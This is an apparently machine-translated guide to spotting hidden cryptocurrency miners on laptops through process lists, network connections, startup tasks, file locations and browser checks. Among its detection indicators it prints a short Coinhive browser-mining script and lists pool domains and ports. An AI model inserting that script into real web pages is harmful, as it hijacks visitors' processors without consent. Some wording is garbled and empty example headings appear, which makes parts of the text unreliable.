How to check a laptop for a miner: a complete guide 2026

Have you noticed that the laptop starts to slow down for no reason, the cooler is running at maximum, and the battery runs out within an hour? Your device may be used for hidden cryptocurrency mining. Mining viruses (cryptojacking) can enter the system through malicious sites, pirated software or browser vulnerabilities - and consume up to 90% CPU/GPU resources, reducing the life of the laptop by 2-3 times.

In this article - 7 proven methods detect a miner on a laptop running Windows 10/11, macOS or Linux, including analyzing processes, checking network traffic and searching for suspicious files. We will also look at how to distinguish a legitimate load from a malicious one and what to do if a miner is found. All methods do not require installing an antivirus (although this is recommended at the final stage).

Signs of infection with a mining virus

A hidden miner rarely reveals itself with obvious symptoms, but there are 5 Key Signsthat should alert you:

• 🔥 Constant CPU/GPU load (even when the laptop is idle). In the task manager, the processor is loaded at 50-100%, and the video card is loaded at 70-95% for no apparent reason.
• 🔋 Dramatic reduction in battery life. Mining consumes energy 3-5 times faster than usual: instead of 6 hours of battery life, the laptop lasts 1-2 hours.
• 🌡️ Overheating and noise of the cooler. The processor temperature is stable at 80-95°C (checked through HWMonitor or Core Temp).
• 📈 Suspicious network traffic. The laptop communicates with unknown servers (especially if you don't download files or watch videos).
• 🖥️ Interface freezes. The cursor freezes for 1-2 seconds, applications open with a delay, although there seem to be enough resources.

Important: These symptoms may indicate other problems, such as overheating due to dust or Windows background updates. Therefore the next step is diagnostics via system tools.

⚠️ Attention: Some legitimate programs (for example, Blender, Adobe Premiere or games) also load the processor/video card. Before scanning, close all resource-intensive applications.

Method 1: Check through Task Manager (Windows)

The fastest way to identify a miner is to analyze active processes. B Windows 10/11 used for this Task Manager:

1. Click Ctrl + Shift + Esc or Ctrl + Alt + Del → select "Task Manager".
2. Go to the tab Details (or Processes in Windows 11).
3. Sort processes by column CPU or GPU (click on the column title).

Please note:

• 🔍 Unknown processes with names like svchost.exe *32, lsass.exe or random letters (a1b2c3.exe). Miners often disguise themselves as system files.
• 📊 High browser load. If Chrome or Firefox load the processor by 30%+ without open tabs, perhaps a miner script is running on one of the pages (for example, Coinhive).
• 🖥️ "Ghost" processes, which disappear when you try to terminate them through the dispatcher.

Example of a legitimate and suspicious process:

Method 2: Monitor Network Activity

Miners constantly exchange data with pools (servers for joint mining). To identify suspicious connections:

On Windows:

1. Open Command line (Win + R → enter cmd).
2. Enter the command:

   netstat -ano | findstr "ESTABLISHED"

   It will show all active network connections.

3. Pay attention to IP addresses with ports 3333, 5555, 7777 or 14444 — they are often used by mining pools.

On macOS/Linux:

Open Terminal and do:

lsof -i -P | grep -i "established"

Suspicious signs:

• 🌐 Connections to domains like pool.minexmr.com, eu1.ethermine.org or random IP in Europe/Asia.
• 🔄 Constant exchange of packages (even when the browser is closed).
• 📡 Using non-standard ports (For example, 18080, 4433).

⚠️ Attention: Some legitimate programs (for example, Torrent clients or VPN) also create a lot of connections. Close them before analysis.

Method 3: Check startup and task scheduler

Miners are often registered in startup or create tasks in Windows Schedulerto start when you turn on the laptop. How to check:

Startup (Windows/macOS):

• 🪟 On Windows: Win + R → enter msconfig → tab Autoload (or Task Manager → Startup in Windows 11).
• 🍎 On macOS: System Preferences → Users and Groups → Login Items.

Task Scheduler (Windows):

1. Open Start → System Tools → Task Scheduler.
2. Check the folders:

   Библиотека планировщика задач → Microsoft → Windows

   Remove suspicious tasks with names like UpdateWin or OptimizeSystem.

Typical "masks" of miners in startup:

• 📁 Files with double extensions: document.pdf.exe.
• 🔧Names simulating system processes: WindowsDefenderUpdate.exe.
• 🖼️ Icons that copy standard applications (for example, Google Chrome or Steam).

Unregister-ScheduledTask -TaskName "Имя_задачи" -Confirm:$false

Method 4: Search for suspicious files and folders

Miners often hide in system folders or create their own directories. Where to look:

Typical locations:

• 📂 C:\Users\<Your_name>\AppData\Roaming\ (hidden folder - turn on showing hidden files!).
• 📂 C:\ProgramData\.
• 📂 /tmp/ or /var/tmp/ on Linux/macOS.

Miner file names:

• 🔎 xmrig.exe, cpuminer.exe, minergate-cli.exe.
• 🔎 svchost.exe in non-standard folders (for example, C:\Temp\).
• 🔎 Files without extension or with names like ~$update.

How to check:

1. Open Explorer and enter the path from the list above into the address bar.
2. Sort files by date modified - miners are often updated every few days.
3. Check the properties of suspicious files: if in the Publisher indicated Unknown, this is a reason to be wary.

⚠️ Attention: Do not delete files from C:\Windows\System32 or /usr/bin/ without confidence, it can damage the system. First check the file via VirusTotal.

Method 5: Using specialized utilities

If manual methods do not help, use free utilities for in-depth analysis:

How to use Process Explorer:

1. Download and run the utility (no installation required).
2. Click Ctrl + D - this will highlight all digitally signed processes. Unsigned processes (without green background) - potential miners.
3. Right click on the process → Properties → Image → check the file path.

Method 6: Checking your browser for hidden mining

Some sites use JavaScript mining (For example, Coinhive), which runs when the page is opened. How to detect:

In Chrome/Firefox/Edge:

1. Open Browser Task Manager (Shift + Esc in Chrome/Edge or ☰ → Advanced → Task Manager in Firefox).
2. See which tabs are using up your CPU. If among them there are empty or unknown URLs (for example, hxxps://coinhive.com/lib/...), close them.

Extensions for blocking mining:

• 🛡️ uBlock Origin (blocks Coinhive scripts and analogues).
• 🛡️ NoCoin (specialized extension against browser mining).
• 🛡️ MinerBlock (for Chrome and Firefox).

Example of malicious code on a website:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('КЛЮЧ_МАЙНЕРА');
miner.start();
</script>

⚠️ Attention: Browser mining can continue even after closing the tab if the script is run in Service Worker. To stop it completely, restart your browser.

Method 7: Temperature and Energy Analysis

Mining loads the processor and video card to the limit, which leads to overheating And increased energy consumption. How to check:

Monitoring utilities:

• 🌡️ HWMonitor (Windows) - shows temperature, voltage and load.
• 🌡️ iStat Menus (macOS) - real-time monitoring of all sensors.
• 🌡️ sensors (Linux) - type in terminal sudo apt install lm-sensors && sensors.

Normal and critical values:

If the temperature consistently exceeds 80°C idle, this is a reason for a deep check. Also note clock frequency: during mining it is often fixed at maximum (for example, 3.5 GHz for Intel Core i7 instead of the standard 0.8-1.5 GHz).

What to do if you find a miner?

If you find a miner, follow the algorithm:

1. Isolate the laptop: Disconnect from the Internet (unplug the Wi-Fi cable or turn off the router). This will prevent data leakage and the spread of the virus.
2. Complete the process: via Task Manager or Process Explorer (see Method 1).
3. Remove miner files:
   • Go to the folder with the suspicious file (see Method 4).
   • Remove it and then clean it Cart.
4. Check your system with antivirus:
   • 🛡️ Kaspersky Virus Removal Tool (disposable scanner).
   • 🛡️ Dr.Web CureIt! (does not require installation).
   • 🛡️ HitmanPro (to search for rootkits).
5. Restore the system:
   • If the miner is registered deeply, rollback to the restore point (Win + R → rstrui) may help.
   • As a last resort - clean OS installation (with data saved to an external drive).
6. Update your software:
   • Install all Windows/macOS/Linux updates.
   • Update your browsers and plugins (especially Flash And Java, if they exist).

⚠️ Attention: If the miner was part botnet (For example, WannaMine), after removing the virus change passwords from important accounts (banks, social networks, mail). Attackers could intercept them.

FAQ: Frequently asked questions about miners on laptops